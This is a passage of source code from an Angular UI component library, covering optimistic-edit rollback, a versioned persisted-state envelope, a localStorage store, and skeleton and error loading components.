only have to be unique within one document; this has to be unique\n * against every other client writing to the same server.\n *\n * @param prefix Short component tag for readability in a server log (`'like'`).\n */\nexport function svRequestKey(prefix: string): string {\n  const uuid = globalThis.crypto?.randomUUID?.();\n  if (uuid) return uuid;\n  return `${prefix}-${Date.now().toString(36)}-${++_svRequestUid}-${Math.random().toString(36).slice(2, 8)}`;\n}\n\n/**\n * A rollback handle for one optimistically-applied edit.\n *\n * @see createOptimisticEdit\n */\nexport interface SvOptimisticEdit {\n  /**\n   * Take a handle for the edit about to be applied. `undo` runs when the host\n   * calls the returned function — unless a later edit has superseded this one,\n   * in which case the call is refused with a dev-mode warning.\n   */\n  begin(undo: () => void): () => void;\n}\n\n/** How the warning names what happened, and how the host can prevent it. */\nexport interface SvOptimisticEditOptions {\n  /**\n   * The revision of the state this edit is against. Any change to the number\n   * means a later edit has landed and this handle is stale.\n   *\n   * A monotonic counter the component bumps per action is the usual answer; a\n   * component with a command history (the Gantt chart) passes that revision,\n   * because undoing there means popping a command rather than restoring a\n   * snapshot, and the history is what makes it exact.\n   */\n  readonly revision: () => number;\n  /** Element selector, for the warning prefix. */\n  readonly selector: string;\n  /**\n   * What has changed, what undoing would now lose, and the input to bind so it\n   * cannot arise. Written per component because only the component knows which\n   * input locks the action out — `[saving]` for one list, `[pendingCardIds]`\n   * for a board.\n   */\n  readonly superseded: string;\n}\n\n/**\n * Let a host undo an optimistically-applied edit, and refuse when undoing would\n * silently destroy a newer one.\n *\n * The bug this prevents: a card is dragged, the write fails, the host calls\n * `rollback()` — but the user has already dragged a second card, and the\n * snapshot the first handle is holding predates both. Restoring it puts the\n * first card back AND throws away the second move, which no one asked for and\n * nothing reports. So a stale handle does nothing and says why.\n *\n * The kit's optimistic contract in three parts, of which this is the second:\n *\n *   1. **Apply immediately.** A row that snaps back while a request is in flight\n *      feels broken, so the component moves first and tells the host after.\n *   2. **Hand back a way out.** The event payload carries `rollback()`. Not a\n *      method reached through a `ViewChild` — the host that needs it is the one\n *      handling the event, and it should not have to query the view to answer.\n *   3. **Lock the action while it is in flight.** A `saving` / `pending…` input\n *      the host binds. That is what keeps rule 2 unambiguous, and the warning\n *      below names the input to bind.\n *\n * Deliberately NOT here: an undo *window*. A component that starts a timer and\n * commits a deletion when it expires is claiming a write it never makes — the\n * defect class of a progress bar that completes on its own. The undo window is\n * the host's, built on the handle this returns and whatever toast it already\n * has.\n *\n * ```ts\n * private _moveSeq = 0;\n * private readonly edit = createOptimisticEdit({\n *   revision: () => this._moveSeq,\n *   selector: 'sv-kanban-board',\n *   superseded:\n *     'another card has moved since. Restoring the old board would discard that ' +\n *     'move. Bind [pendingCardIds] so a card cannot be moved again while its ' +\n *     'write is in flight.',\n * });\n *\n * private emitMove(): void {\n *   const snapshot = this._cols();\n *   this._moveSeq++;\n *   this.cardMoved.emit({ …, rollback: this.edit.begin(() => this._cols.set(snapshot)) });\n * }\n * ```\n *\n * A plain factory, not a service: it closes over one function and needs no\n * injection context, so it can be called straight from a field initializer.\n */\nexport function createOptimisticEdit(options: SvOptimisticEditOptions): SvOptimisticEdit {\n  const { revision, selector, superseded } = options;\n\n  return {\n    begin(undo: () => void): () => void {\n      // Read AFTER the caller has bumped its counter, so the handle is against\n      // the state its own edit produced — not the one before it.\n      const taken = revision();\n\n      return () => {\n        if (revision() !== taken) {\n          if (typeof ngDevMode !== 'undefined' && ngDevMode) {\n            console.warn(`[styloviz] ${selector}: rollback() ignored — ${superseded}`);\n          }\n          return;\n        }\n        undo();\n      };\n    },\n  };\n}\n","declare const ngDevMode: boolean | undefined;\n\n/**\n * A blob the host has stored, and the schema it was written against.\n *\n * Six families in the kit hand the host state to keep — a dashboard layout, a\n * table's columns, a saved pivot view, a query, a set of facets, a project plan.\n * Every one of them was handed over as a bare object, which is a migration\n * nobody has written yet: the first release that renames a field reads the old\n * blob as if it were the new one, and a user's saved dashboard comes back\n * subtly wrong with nothing reported.\n *\n * The envelope is deliberately the smallest thing that fixes that. `kind` says\n * whose it is, `version` says which schema, `state` is the payload — and the\n * component that wrote it is the only thing that gets to interpret it.\n */\nexport interface SvPersistedState<T> {\n  /** Who wrote it: `'sv-widget-grid/layout'`. Namespaced by selector. */\n  readonly kind: string;\n  /** The schema version. Integer, starts at 1, bumped on any breaking change. */\n  readonly version: number;\n  /** The state itself. Must be JSON-safe — see {@link svPersistState}. */\n  readonly state: T;\n}\n\n/** Why a stored blob could not be restored. */\nexport type SvRestoreReason =\n  /** Not an envelope, and not adoptable as a pre-envelope blob either. */\n  | 'malformed'\n  /** An envelope, but another component's — a query pasted into a table. */\n  | 'foreign'\n  /** Written by a later release of the kit than the one reading it. */\n  | 'too-new'\n  /** Older, and the component offers no way to bring it forward. */\n  | 'unmigratable';\n\n/** The outcome of {@link svRestoreState}. */\nexport type SvRestoreResult<T> =\n  | {\n      readonly ok: true;\n      /** The state, at the current version. */\n      readonly state: T;\n      /**\n       * The version it was stored at. `0` means a pre-envelope blob that\n       * {@link SvRestoreSpec.adoptLegacy} accepted. When this is below the\n       * component's current version the host should re-save, or every load pays\n       * the migration again.\n       */\n      readonly from: number;\n    }\n  | {\n      readonly ok: false;\n      readonly reason: SvRestoreReason;\n      /** One sentence, safe to show a user. */\n      readonly detail: string;\n    };\n\n/** How a component reads its own stored state back. */\nexport interface SvRestoreSpec<T> {\n  /** Must equal the `kind` the component writes. */\n  readonly kind: string;\n  /** The schema version the component understands now. */\n  readonly version: number;\n  /**\n   * Parse a payload written at the current `version`, or return `null` if it is\n   * not one.\n   *\n   * ★ Required, not optional, because the alternative is a cast — and what comes\n   *   back out of `localStorage` or a URL is whatever anyone with devtools\n   *   decided to put there. A matching `kind` and `version` say which schema the\n   *   payload CLAIMS; only this says it holds.\n   */\n  readonly read: (state: unknown) => T | null;\n  /**\n   * Bring a `from`-version payload up to `version`, or return `null` when it\n   * cannot be brought forward. Only called for `from < version`, and responsible\n   * for validating what it reads exactly as `read` is.\n   *\n   * Written by the component, not the host: the component owns the schema, and\n   * a host asked to migrate a shape it did not design will guess.\n   */\n  readonly migrate?: (state: unknown, from: number) => T | null;\n  /**\n   * What to do with a blob that has no envelope at all.\n   *\n   * Not hypothetical, and the reason `from` can be `0`: every one of these\n   * families shipped its state bare before this contract existed, so there are\n   * stored dashboards and saved views in the wild with no `kind` and no\n   * `version`. Return `0` to hand the whole blob to `migrate` as the\n   * pre-versioning shape, or `null` to refuse it.\n   *\n   * A component that never shipped an unversioned form must leave this out. A\n   * blanket \"assume it is current\" would make `malformed` unreachable and let\n   * any object at all through.\n   */\n  readonly adoptLegacy?: (blob: Readonly<Record<string, unknown>>) => number | null;\n}\n\n/**\n * Wrap state for the host to store.\n *\n * The state must survive `JSON.stringify` → `JSON.parse` unchanged, which is\n * the one rule the type system will not enforce for you: a `Set` becomes `{}`,\n * a `Map` becomes `{}`, and a function member — `rollback` on an event payload\n * — vanishes without a word. So a component serializes a SNAPSHOT type of its\n * own, never the event payload it happens to have to hand.\n * `scripts/check-persisted-state.mjs` holds that line.\n */\nexport function svPersistState<T>(kind: string, version: number, state: T): SvPersistedState<T> {\n  return { kind, version, state };\n}\n\n/**\n * Read stored state back, or say precisely why it cannot be.\n *\n * ★ A blob from a NEWER version is refused, not read as far as it parses. This\n *   is the case a \"best effort\" restore gets wrong: the same field name means\n *   something different in v3, so a partial read does not fail — it silently\n *   produces a layout the user never arranged. Someone who arranges their\n *   dashboard in the current release and then loads last month's build on\n *   another machine should get their default view and a sentence saying why,\n *   not a mangled one.\n *\n * The host's side of this is three lines:\n *\n * ```ts\n * const restored = grid.restoreLayout(JSON.parse(raw));\n * if (!restored.ok) this.notice.set(restored.detail);\n * else if (restored.from < SV_WIDGET_GRID_LAYOUT_VERSION) this.save(grid.serializeLayout());\n * ```\n *\n * @param blob Whatever came out of storage. Untrusted: any shape, or none.\n */\nexport function svRestoreState<T>(blob: unknown, spec: SvRestoreSpec<T>): SvRestoreResult<T> {\n  const { kind, version, adoptLegacy } = spec;\n\n  if (!blob || typeof blob !== 'object' || Array.isArray(blob)) {\n    return { ok: false, reason: 'malformed', detail: 'The saved data is not readable.' };\n  }\n\n  const record = blob as Record<string, unknown>;\n  const envelope = typeof record['kind'] === 'string' && typeof record['version'] === 'number';\n\n  if (!envelope) {\n    const from = adoptLegacy?.(record) ?? null;\n    if (from === null) {\n      return {\n        ok: false,\n        reason: 'malformed',\n        detail: 'The saved data does not say what wrote it, so it cannot be trusted.',\n      };\n    }\n    return readAt(record, from, spec);\n  }\n\n  if (record['kind'] !== kind) {\n    return {\n      ok: false,\n      reason: 'foreign',\n      detail: `That saved data belongs to ${String(record['kind'])}, not ${kind}.`,\n    };\n  }\n\n  const from = record['version'] as number;\n  if (!Number.isInteger(from) || from < 1) {\n    return { ok: false, reason: 'malformed', detail: 'The saved data has no usable version.' };\n  }\n  if (from > version) {\n    return {\n      ok: false,\n      reason: 'too-new',\n      detail:\n        `That view was saved by a newer version of this component (v${from}, this is v${version}), ` +\n        'so it cannot be read here.',\n    };\n  }\n\n  return readAt(record['state'], from, spec);\n}\n\nfunction readAt<T>(state: unknown, from: number, spec: SvRestoreSpec<T>): SvRestoreResult<T> {\n  if (from === spec.version) {\n    const parsed = spec.read(state);\n    return parsed === null\n      ? { ok: false, reason: 'malformed', detail: 'The saved data is not in the expected shape.' }\n      : { ok: true, state: parsed, from };\n  }\n\n  const migrated = spec.migrate?.(state, from) ?? null;\n  if (migrated === null) {\n    return {\n      ok: false,\n      reason: 'unmigratable',\n      detail: `That view was saved in an older format (v${from}) that can no longer be read.`,\n    };\n  }\n  return { ok: true, state: migrated, from };\n}\n\n/** How a component reads its own state back out of a URL. */\nexport interface SvRestoreParamsSpec<T> {\n  /** The parameter carrying the schema version: `'fv'`. */\n  readonly versionParam: string;\n  /** The schema version the component writes now. */\n  readonly version: number;\n  /**\n   * Read parameters written at `from` (always below `version`), or `null` when\n   * they cannot be brought forward.\n   */\n  readonly migrate?: (params: URLSearchParams, from: number) => T | null;\n  /**\n   * The version to read a link that carries no version parameter as, or `null`\n   * to ignore its filters entirely. Links predating the version parameter are\n   * already pasted into other people's chat windows, so this is the case that\n   * actually happens.\n   */\n  readonly legacyVersion?: number | null;\n}\n\n/**\n * The same versioning contract over URL query parameters, for state whose whole\n * point is being shareable.\n *\n * A filtered listing has to survive being pasted into a chat window, so it\n * belongs in the URL rather than in storage — and a URL is read by people, so\n * base64-ing an envelope into one parameter is the wrong answer. The component\n * writes readable parameters plus one version parameter instead, and this\n * decides whether they can be trusted before `read` is ever called, so `read`\n * never has to guess which release wrote them.\n *\n * There is no `kind` here: a URL is scoped by its route already, and a second\n * component on the same page namespaces its own parameter names.\n *\n * @param params What came in from `location.search`. Untrusted.\n * @param read   Builds the state from parameters known to be current.\n */\nexport function svRestoreParams<T>(\n  params: URLSearchParams,\n  spec: SvRestoreParamsSpec<T>,\n  read: (params: URLSearchParams) => T,\n): SvRestoreResult<T> {\n  const { versionParam, version, migrate, legacyVersion } = spec;\n  const raw = params.get(versionParam);\n\n  let from: number;\n  if (raw === null) {\n    if (legacyVersion == null) {\n      return {\n        ok: false,\n        reason: 'malformed',\n        detail: 'That link does not say which version of the filters it holds.',\n      };\n    }\n    from = legacyVersion;\n  } else {\n    from = Number(raw);\n    if (!Number.isInteger(from) || from < 1) {\n      return { ok: false, reason: 'malformed', detail: 'That link has no usable version.' };\n    }\n  }\n\n  if (from > version) {\n    return {\n      ok: false,\n      reason: 'too-new',\n      detail:\n        `That link was made by a newer version of this page (v${from}, this is v${version}), ` +\n        'so its filters cannot be applied.',\n    };\n  }\n  if (from === version) return { ok: true, state: read(params), from };\n\n  const migrated = migrate?.(params, from) ?? null;\n  if (migrated === null) {\n    return {\n      ok: false,\n      reason: 'unmigratable',\n      detail: `That link uses an older format (v${from}) that can no longer be read.`,\n    };\n  }\n  return { ok: true, state: migrated, from };\n}\n\n/**\n * Warn, in dev mode only, that a restore was refused.\n *\n * A refused restore is silent by design — the component shows its default view,\n * which is the correct thing for the user to see. But during development that\n * looks exactly like the restore never being wired up, so this says which it\n * was.\n */\nexport function svWarnRestoreRefused(selector: string, result: { ok: false; reason: SvRestoreReason; detail: string }): void {\n  if (typeof ngDevMode !== 'undefined' && ngDevMode) {\n    console.warn(`[styloviz] ${selector}: saved state ignored (${result.reason}) — ${result.detail}`);\n  }\n}\n","import {\n  svPersistState,\n  svRestoreState,\n  type SvRestoreReason,\n  type SvRestoreSpec,\n} from './persisted-state';\n\n/**\n * ============================================================================\n *  Storage glue around the persisted-state envelope — `X-6`\n * ============================================================================\n *\n * `svPersistState` / `svRestoreState` decide what a blob MEANS. Every component\n * that keeps a layout in `localStorage` then needs the same five pieces of glue\n * around them, and each one it hand-rolls is a place to get one wrong:\n *\n *  1. **An SSR guard.** `localStorage` does not exist on the server, and merely\n *     reading the global throws a `SecurityError` in some privacy modes.\n *  2. **Legacy keys.** A renamed storage key is a lost layout unless the old\n *     key is tried — EACH old key, in order, not just the first one that holds\n *     something — and the winner is moved so the migration runs once.\n *  3. **Refusal reporting.** A refused blob falls back to defaults, which is\n *     right for the user and silent for the developer. Every refusal is\n *     returned, with the key it came from.\n *  4. **Cross-tab sync.** A `storage` event from another tab is validated like\n *     any other untrusted blob, and adopting it must not echo it back.\n *  5. **Not writing back what storage already holds.** Loading is not a\n *     change, a reset is not a change, and an adopted value is not a change.\n *\n * ★★ (5) is a BASELINE, not a one-shot \"skip the next write\" flag. The flag\n * version — \"the next save carrying exactly this value is a no-op\" — is only\n * cleared by a save of that exact value. When the value never changes (a reset\n * of a layout that was already at its default) the flag outlives the moment it\n * was set for, and swallows the user's LATER change back to that value. A\n * baseline is simply \"what storage is known to represent\": a save equal to it\n * is skipped, and every save that is written becomes the new baseline — so no\n * earlier call can ever suppress a real change.\n *\n * Deliberately NOT Angular: no injection, no listener. The component owns its\n * `window:storage` listener and hands the event to {@link SvPersistedStore.adopt},\n * which keeps this usable from any lifecycle and trivially testable.\n *\n * Consumers: `sv-splitter`. Widget Grid and Query Builder write the same\n * envelope through their own host-driven `serialize…`/`restore…` pair and can\n * adopt this store unchanged when they take on storage themselves.\n */\n\n/** A stored blob that could not be applied, and where it came from. */\nexport interface SvPersistedStoreRefusal {\n  /** The storage key the refused blob was read from. */\n  readonly key: string;\n  /** Machine-readable reason: `malformed`, `foreign`, `too-new` or `unmigratable`. */\n  readonly reason: SvRestoreReason;\n  /** One sentence, safe to show a user. */\n  readonly detail: string;\n}\n\n/** What {@link SvPersistedStore.load} found. */\nexport interface SvPersistedStoreLoad<T> {\n  /** The restored state, at the current version — or `null` when nothing restored. */\n  readonly state: T | null;\n  /** The key it came from: the primary key, a legacy key, or `null`. */\n  readonly from: string | null;\n  /** Every stored blob that was refused on the way, in the order tried. */\n  readonly refusals: readonly SvPersistedStoreRefusal[];\n}\n\n/** Options for {@link svPersistedStore}. */\nexport interface SvPersistedStoreOptions<T> {\n  /** The storage key. A function when the key is itself an input that can change. */\n  readonly key: string | (() => string);\n  /** The envelope schema: `kind`, `version`, `read`, and any `migrate`/`adoptLegacy`. */\n  readonly spec: SvRestoreSpec<T>;\n  /**\n   * Keys an earlier release wrote this state under. Tried in order ONLY when the\n   * primary key holds nothing; the first that restores is copied to the primary\n   * key and removed. Refused ones are reported and left where they are.\n   * @default []\n   */\n  readonly legacyKeys?: readonly string[] | (() => readonly string[]);\n  /**\n   * The storage to use, or `null` where there is none. The test seam, and the\n   * SSR guard: the default returns `localStorage` in a browser and `null` on the\n   * server or when access to it throws.\n   */\n  readonly storage?: () => Storage | null;\n}\n\n/** A versioned, SSR-safe, cross-tab-aware home for one piece of state. */\nexport interface SvPersistedStore<T> {\n  /**\n   * Read the stored state: the primary key, else each legacy key in order.\n   * The result becomes the baseline, so the first save of the same value is\n   * not written back.\n   */\n  load(): SvPersistedStoreLoad<T>;\n  /**\n   * Write `state` in its envelope — unless storage already represents exactly\n   * this value (the baseline), in which case nothing is written. `false` when\n   * storage is unavailable or refused the write (quota, privacy mode).\n   */\n  save(state: T): boolean;\n  /**\n   * Declare that storage already represents `state` without writing it — what\n   * a component calls after a load that restored nothing, so its defaults are\n   * not written over a blob it refused (a newer release's, say).\n   */\n  markSynced(state: T): void;\n  /**\n   * Remove the stored value. `represents` is what an empty key now means (the\n   * default the component resets to), so saving that default is not written\n   * straight back; the next different value is.\n   */\n  clear(represents?: T): void;\n  /**\n   * Validate another tab's write. Returns the state to apply, or `null` when\n   * the event is for another key or storage area, is a removal, or is refused.\n   * An adopted value becomes the baseline, so applying it does not echo back.\n   */\n  adopt(event: StorageEvent): T | null;\n}\n\nfunction defaultStorage(): Storage | null {\n  return svLocalStorage();\n}\n\n/**\n * `localStorage`, or `null` when there is none (a server) or it is blocked.\n *\n * ★★ USE THIS, NOT `typeof localStorage === 'undefined'`. With site data\n *    blocked, evaluating the global — `typeof` included — throws a\n *    `SecurityError`, so a guard written that way is itself the crash\n *    (1.0 audit, M4: stepper, product tour and widget grid all had it).\n */\nexport function svLocalStorage(): Storage | null {\n  try {\n    return typeof localStorage === 'undefined' ? null : localStorage;\n  } catch {\n    return null;\n  }\n}\n\n/** Create a store for one piece of versioned state. See the file header. */\nexport function svPersistedStore<T>(options: SvPersistedStoreOptions<T>): SvPersistedStore<T> {\n  const { spec, storage = defaultStorage } = options;\n  const keyOf = (): string => (typeof options.key === 'function' ? options.key() : options.key);\n  const legacyOf = (): readonly string[] => {\n    const legacy = options.legacyKeys;\n    return (typeof legacy === 'function' ? legacy() : legacy) ?? [];\n  };\n\n  /**\n   * The serialized value storage is known to represent — and UNDER WHICH KEY.\n   *\n   * ★ Keyed, because the key can change (`persistKey` bound to an account id):\n   *   a bare value made a save under a new key look \"already written\" whenever\n   *   the layout happened to match, so nothing ever reached the new key.\n   */\n  let baseline: { key: string; value: string } | null = null;\n  const synced = (key: string, value: string): boolean =>\n    baseline !== null && baseline.key === key && baseline.value === value;\n\n  const serialize = (state: T): string =>\n    JSON.stringify(svPersistState(spec.kind, spec.version, state));\n\n  /** `null` for absent, unparseable or unavailable — none is a refusal worth reporting. */\n  const readJson = (store: Storage, key: string): unknown => {\n    try {\n      const raw = store.getItem(key);\n      return raw ? (JSON.parse(raw) as unknown) : null;\n    } catch {\n      return null;\n    }\n  };\n\n  const write = (store: Storage, key: string, serialized: string): boolean => {\n    try {\n      store.setItem(key, serialized);\n      return true;\n    } catch {\n      return false; // quota / privacy mode\n    }\n  };\n\n  const remove = (store: Storage, key: string): void => {\n    try { store.removeItem(key); } catch { /* storage unavailable */ }\n  };\n\n  return {\n    load() {\n      const store = storage();\n      const key = keyOf();\n      const refusals: SvPersistedStoreRefusal[] = [];\n      if (!store || !key) return { state: null, from: null, refusals };\n\n      const primary = readJson(store, key);\n      if (primary !== null) {\n        const restored = svRestoreState(primary, spec);\n        if (!restored.ok) {\n          refusals.push({ key, reason: restored.reason, detail: restored.detail });\n          return { state: null, from: null, refusals };\n        }\n        baseline = { key, value: serialize(restored.state) };\n        return { state: restored.state, from: key, refusals };\n      }\n\n      // ★ EACH legacy key, in order: an unreadable one is reported and skipped,\n      //   not the end of the search.\n      for (const legacy of legacyOf()) {\n        if (!legacy || legacy === key) continue;\n        const blob = readJson(store, legacy);\n        if (blob === null) continue;\n        const restored = svRestoreState(blob, spec);\n        if (!restored.ok) {\n          refusals.push({ key: legacy, reason: restored.reason, detail: restored.detail });\n          continue;\n        }\n        const serialized = serialize(restored.state);\n        if (write(store, key, serialized)) {\n          baseline = { key, value: serialized };\n          remove(store, legacy);\n        }\n        return { state: restored.state, from: legacy, refusals };\n      }\n      return { state: null, from: null, refusals };\n    },\n\n    save(state) {\n      const serialized = serialize(state);\n      const key = keyOf();\n      if (synced(key, serialized)) return true;\n      const store = storage();\n      if (!store || !key) return false;\n      if (!write(store, key, serialized)) return false;\n      baseline = { key, value: serialized };\n      return true;\n    },\n\n    markSynced(state) {\n      baseline = { key: keyOf(), value: serialize(state) };\n    },\n\n    clear(represents) {\n      const store = storage();\n      const key = keyOf();\n      if (store && key) remove(store, key);\n      baseline = represents === undefined ? null : { key, value: serialize(represents) };\n    },\n\n    adopt(event) {\n      const key = keyOf();\n      if (!key || event.key !== key) return null;\n      const store = storage();\n      if (store && event.storageArea && event.storageArea !== store) return null;\n      // ★ Another tab removed the value (its reset): storage no longer holds\n      //   our baseline, so the next save must write even if it matches.\n      if (event.newValue === null) {\n        baseline = null;\n        return null;\n      }\n      let blob: unknown;\n      try { blob = JSON.parse(event.newValue) as unknown; } catch { return null; }\n      const restored = svRestoreState(blob, spec);\n      if (!restored.ok) return null;\n      baseline = { key, value: serialize(restored.state) };\n      return restored.state;\n    },\n  };\n}\n","import { ChangeDetectionStrategy, Component, computed, input } from '@angular/core';\n\n/**\n * Layout the placeholder imitates while data loads.\n *\n * - `text`  — stacked lines of prose\n * - `list`  — avatar + two lines per row\n * - `table` — a header strip plus aligned cell bars\n * - `card`  — media block, title, two body lines\n * - `chart` — plot area with an axis, for any chart or sparkline\n */\nexport type SvSkeletonShellVariant = 'text' | 'list' | 'table' | 'card' | 'chart';\n\n/**\n * SkeletonShell — the loading placeholder every data component renders.\n *\n * Deliberately tiny and dependency-free: it lives in `@styloviz/core` so a\n * table, a kanban board and a chart all show the *same* loading treatment\n * without any of them taking a dependency on a component package.\n *\n * It is not a replacement for `@styloviz/skeleton-loader` — that ships eleven\n * composed presets and per-bone control for building bespoke placeholders. This\n * is the five-shape version that data components reach for internally.\n *\n * Width variation across bones is derived from the row index rather than\n * randomised, so the placeholder is stable between renders. A skeleton whose\n * bars resize on every change-detection pass reads as a glitch.\n */\n@Component({\n  selector: 'sv-skeleton-shell',\n  standalone: true,\n  templateUrl: './skeleton-shell.component.html',\n  styleUrl: './skeleton-shell.component.css',\n  changeDetection: ChangeDetectionStrategy.OnPush,\n  // The async contract is a public promise, so it needs one machine-detectable\n  // hook rather than 110 hand-written ones. Applied on the shell itself, every\n  // component that renders it advertises the state without touching its own\n  // template — which is what lets a single test harness assert the contract for\n  // every data component instead of one bespoke spec each.\n  host: {\n    'data-sv-state': 'loading',\n    // Bone fill and sweep, per theme — read by `.sv-bone` in the stylesheet.\n    // See the note there for why this cannot be a `:where(.dark)` rule.\n    class:\n      '[--sv-bone-fill:var(--color-gray-200)] [--sv-bone-sheen:rgb(255_255_255/0.35)] dark:[--sv-bone-fill:var(--color-gray-700)] dark:[--sv-bone-sheen:rgb(255_255_255/0.06)]',\n  },\n})\nexport class SvSkeletonShellComponent {\n  /**\n   * Layout to imitate.\n   * @default 'list'\n   */\n  readonly variant = input<SvSkeletonShellVariant>('list');\n\n  /**\n   * Number of rows (or lines, or cards) to draw. Clamped to 1–24.\n   * @default 3\n   */\n  readonly rows = input<number>(3);\n\n  /**\n   * Number of columns drawn by the `table` variant. Clamped to 1–12.\n   * @default 4\n   */\n  readonly columns = input<number>(4);\n\n  /**\n   * Height of the `chart` variant's plot area, as a CSS length.\n   * @default '12rem'\n   */\n  readonly chartHeight = input<string>('12rem');\n\n  /**\n   * Announced to assistive tech while the placeholder is on screen.\n   * @default 'Loading'\n   */\n  readonly ariaLabel = input<string>('Loading');\n\n  /** Extra classes for the outer wrapper. @default '' */\n  readonly customClass = input<string>('');\n\n  /** Row indices, clamped so a bad input cannot render 10,000 bones. */\n  protected readonly rowList = computed(() => indices(this.rows(), 1, 24, 3));\n\n  /** Column indices for the table variant. */\n  protected readonly colList = computed(() => indices(this.columns(), 1, 12, 4));\n\n  /** Bars for the chart variant — a fixed count reads better than `rows`. */\n  protected readonly barList = computed(() => indices(9, 1, 12, 9));\n\n  /**\n   * Deterministic width for the bone at (row, column), between 45% and 95%.\n   * Coprime multipliers keep neighbouring bones from landing on the same width,\n   * which is what makes the block read as text rather than as a bar chart.\n   */\n  protected width(row: number, col = 0): string {\n    return `${45 + ((row * 37 + col * 23) % 51)}%`;\n  }\n\n  /** Deterministic height for a chart bar, between 25% and 95%. */\n  protected barHeight(index: number): string {\n    return `${25 + ((index * 29) % 71)}%`;\n  }\n}\n\n/** Build `[0..n)` with `value` coerced into `[min, max]`. */\nfunction indices(value: number, min: number, max: number, fallback: number): readonly number[] {\n  const n = Number.isFinite(value) ? Math.floor(value) : fallback;\n  return Array.from({ length: Math.min(Math.max(n, min), max) }, (_, i) => i);\n}\n","<div\n  role=\"status\"\n  aria-busy=\"true\"\n  [attr.aria-label]=\"ariaLabel()\"\n  [class]=\"'w-full ' + customClass()\"\n>\n  @switch (variant()) {\n\n    @case ('text') {\n      <div class=\"space-y-2.5\">\n        @for (row of rowList(); track row) {\n          <div class=\"sv-bone h-3.5\" [style.width]=\"width(row)\"></div>\n        }\n      </div>\n    }\n\n    @case ('list') {\n      <div class=\"space-y-3\">\n        @for (row of rowList(); track row) {\n          <div class=\"flex items-center gap-3\">\n            <div class=\"sv-bone h-9 w-9 shrink-0 rounded-full\"></div>\n            <div class=\"flex-1 space-y-2\">\n              <div class=\"sv-bone h-3.5\" [style.width]=\"width(row)\"></div>\n              <div class=\"sv-bone h-2.5\" [style.width]=\"width(row, 2)\"></div>\n            </div>\n          </div>\n        }\n      </div>\n    }\n\n    @case ('table') {\n      <div class=\"space-y-3\">\n        <div class=\"flex gap-4 border-b border-gray-200 pb-3 dark:border-gray-700\">\n          @for (col of colList(); track col) {\n            <div class=\"sv-bone h-3 flex-1\"></div>\n          }\n        </div>\n        @for (row of rowList(); track row) {\n          <div class=\"flex gap-4\">\n            @for (col of colList(); track col) {\n              <div class=\"flex-1\">\n                <div class=\"sv-bone h-3.5\" [style.width]=\"width(row, col)\"></div>\n              </div>\n            }\n          </div>\n        }\n      </div>\n    }\n\n    @case ('card') {\n      <div class=\"grid gap-4 sm:grid-cols-2 lg:grid-cols-3\">\n        @for (row of rowList(); track row) {\n          <div\n            class=\"space-y-3 rounded-xl border border-gray-200 p-4 dark:border-gray-700\"\n          >\n            <div class=\"sv-bone h-28 w-full rounded-lg\"></div>\n            <div class=\"sv-bone h-4\" [style.width]=\"width(row)\"></div>\n            <div class=\"sv-bone h-2.5\" [style.width]=\"width(row, 3)\"></div>\n            <div class=\"sv-bone h-2.5\" [style.width]=\"width(row, 5)\"></div>\n          </div>\n        }\n      </div>\n    }\n\n    @case ('chart') {\n      <div class=\"space-y-3\">\n        <div class=\"flex items-end gap-2\" [style.height]=\"chartHeight()\">\n          @for (bar of barList(); track bar) {\n            <div class=\"sv-bone w-full self-end\" [style.height]=\"barHeight(bar)\"></div>\n          }\n        </div>\n        <div class=\"sv-bone h-2.5 w-full\"></div>\n      </div>\n    }\n  }\n</div>\n","import {\n  ChangeDetectionStrategy,\n  Component,\n  computed,\n  ElementRef,\n  input,\n  output,\n  viewChild,\n} from '@angular/core';\nimport { isRetryable } from '../errors';\nimport type { SvDataError } from '../types';\n\n/**\n * ErrorShell — what a data component renders when the fetch failed.\n *\n * The gap this closes: before it, no component in the kit had any load-failure\n * state at all. A buyer wiring a real API had to build the error card, the\n * retry button and the announcement themselves, outside the component, where it\n * would not match anything else in the kit.\n *\n * Accessibility is the point of the component, not decoration. The block is a\n * live `role=\"alert\"`, so the failure is announced rather than silently\n * replacing a spinner, and `focusRetry()` lets the host move focus to the one\n * control that can recover — important when the failure was triggered by a\n * keyboard action and focus is now on a button that no longer exists.\n *\n * Icons are projected rather than drawn: `@styloviz/core` ships no SVG, so the\n * host passes one from `@styloviz/icons` and the kit keeps a single icon source.\n *\n * ```html\n * <sv-error-shell [error]=\"error()\" (retry)=\"load()\">\n *   <sv-icon svShellIcon name=\"alert-triangle\" cssClass=\"h-8 w-8\" />\n * </sv-error-shell>\n * ```\n */\n@Component({\n  selector: 'sv-error-shell',\n  standalone: true,\n  templateUrl: './error-shell.component.html',\n  changeDetection: ChangeDetectionStrategy.OnPush,\n  // Conditional, unlike the other two shells: this component renders nothing\n  // when `error` is null, and a host element permanently advertising\n  // `data-sv-state=\"error\"` would make every component look broken to any\n  // check that reads it.\n  //\n  // `data-sv-retryable` is published separately because \"a 404 gets no Try\n  // again\" is a rule worth asserting, and the absence of a button is also what\n  // a genuinely broken template looks like.\n  host: {\n    '[attr.data-sv-state]': \"normalized() ? 'error' : null\",\n    '[attr.data-sv-retryable]': \"normalized() ? (canRetry() ? 'true' : 'false') : null\",\n  },\n})\nexport class SvErrorShellComponent {\n  /**\n   * The failure. A bare string is accepted for convenience and normalized to a\n   * retryable error. `null` renders nothing.\n   */\n  readonly error = input<SvDataError | string | null>(null);\n\n  /**\n   * Heading above the message.\n   * @default 'Something went wrong'\n   */\n  readonly title = input<string>('Something went wrong');\n\n  /**\n   * Label of the recovery button.\n   * @default 'Try again'\n   */\n  readonly retryLabel = input<string>('Try again');\n\n  /**\n   * Show the retry button. Forced off for errors marked `retryable: false` —\n   * offering to retry a 404 is a dead end dressed up as a recovery.\n   * @default true\n   */\n  readonly retryable = input<boolean>(true);\n\n  /**\n   * Render as a single inline row instead of a centred block. Use inside a\n   * table cell, a dropdown panel or a card header.\n   * @default false\n   */\n  readonly compact = input<boolean>(false);\n\n  /**\n   * Status code shown beside the message, when the error carries one.\n   * @default true\n   */\n  readonly showStatus = input<boolean>(true);\n\n  /** Extra classes for the outer wrapper. @default '' */\n  readonly customClass = input<string>('');\n\n  /** The host should re-run the failed request. */\n  readonly retry = output<void>();\n\n  private readonly retryButton = viewChild<ElementRef<HTMLButtonElement>>('retryButton');\n\n  /** Normalized error, or `null` when there is nothing to show. */\n  protected readonly normalized = computed<SvDataError | null>(() => {\n    const raw = this.error();\n    if (!raw) return null;\n    return typeof raw === 'string' ? { message: raw, retryable: true } : raw;\n  });\n\n  protected readonly message = computed(() => this.normalized()?.message ?? '');\n\n  protected readonly status = computed(() => {\n    